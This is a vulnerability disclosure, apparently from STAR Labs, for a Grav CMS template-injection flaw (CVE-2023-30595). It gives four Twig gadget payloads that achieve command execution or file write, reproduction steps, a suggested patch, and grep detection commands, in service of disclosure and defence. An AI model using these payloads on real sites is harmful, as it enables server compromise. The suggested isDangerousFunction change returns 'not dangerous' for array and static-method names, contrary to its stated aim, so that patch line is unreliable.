Details
Going back to [1], if $arrow is an array instead of a string or closure, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:
// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler'])}}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) }}
// Gadget 3: Using \RocketTheme\Toolbox\File\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:
{{ (['rce.php'] | map(['\\RocketTheme\\Toolbox\\File\\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}
// Gadget 4: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke system("id"):
{{ {'/':'sleep 3'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}
Exploit Conditions:
This vulnerability can be exploited if the attacker has access to:
- an administrator account, or
- a non-administrator, user account that are granted the following permissions: - login access to Grav admin panel, and - page creation or update rights
Reproduction Steps:
- Log in to Grav Admin using an administrator account.
- Navigate to
Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user: * Login to Admin - Allowed * Page Update - Allowed - Log out of Grav Admin, and log back in using the account created in step 2.
- Navigate to
http://<grav_installation>/admin/pages/home. - Click the
Advancedtab and select the checkbox besideTwigto ensure that Twig processing is enabled for the modified webpage. - Under the
Contenttab, insert the following payload within the editor:
// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
- Click the Preview button. Observe that the output of the
idshell command is returned in the preview.
Suggested Mitigations:
Patch the logic flaw in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php to ensure that the $arrow paramater passed to the filterFilter() function must either be a string or an arrow function as such:
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
/**
* @param Environment $env
* @param array $array
* @param callable|string $arrow
* @return array|CallbackFilterIterator
* @throws RuntimeError
*/
function filterFilter(Environment $env, $array, $arrow)
{
- if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
+ if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
}
return \twig_array_filter($env, $array, $arrow);
}
}
Utils::isDangerousFunction() in /system/src/Grav/Common/Utils.php should also be patched to prevent static class methods from being invoked. For example,
...
abstract class Utils
{
...
/**
* @param string $name
* @return bool
*/
public static function isDangerousFunction(string $name): bool
{
...
+ if (is_array($name) || strpos($name, ":") !== false) {
+ return false;
+ }
if (in_array($name, $commandExecutionFunctions)) {
return true;
}
if (in_array($name, $codeExecutionFunctions)) {
return true;
}
if (isset($callbackFunctions[$name])) {
return true;
}
if (in_array($name, $informationDiscosureFunctions)) {
return true;
}
if (in_array($name, $otherFunctions)) {
return true;
}
return static::isFilesystemFunction($name);
}
...
}
End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.
Detection Guidance:
The following strategies may be used to detect potential exploitation attempts.
- Searching within Markdown pages using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/user/pages/ - Searching within Doctrine cache data using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/ - Searching within Twig cache using the following shell command:
grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/ - Searching within compiled Twig template files using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/
Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.
Credits:
Ngo Wei Lin (@Creastery) & Wang Hengyue (@w_hy_04) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:
- CVE-2023-30595 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in
GravExtension.filterFilter()and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.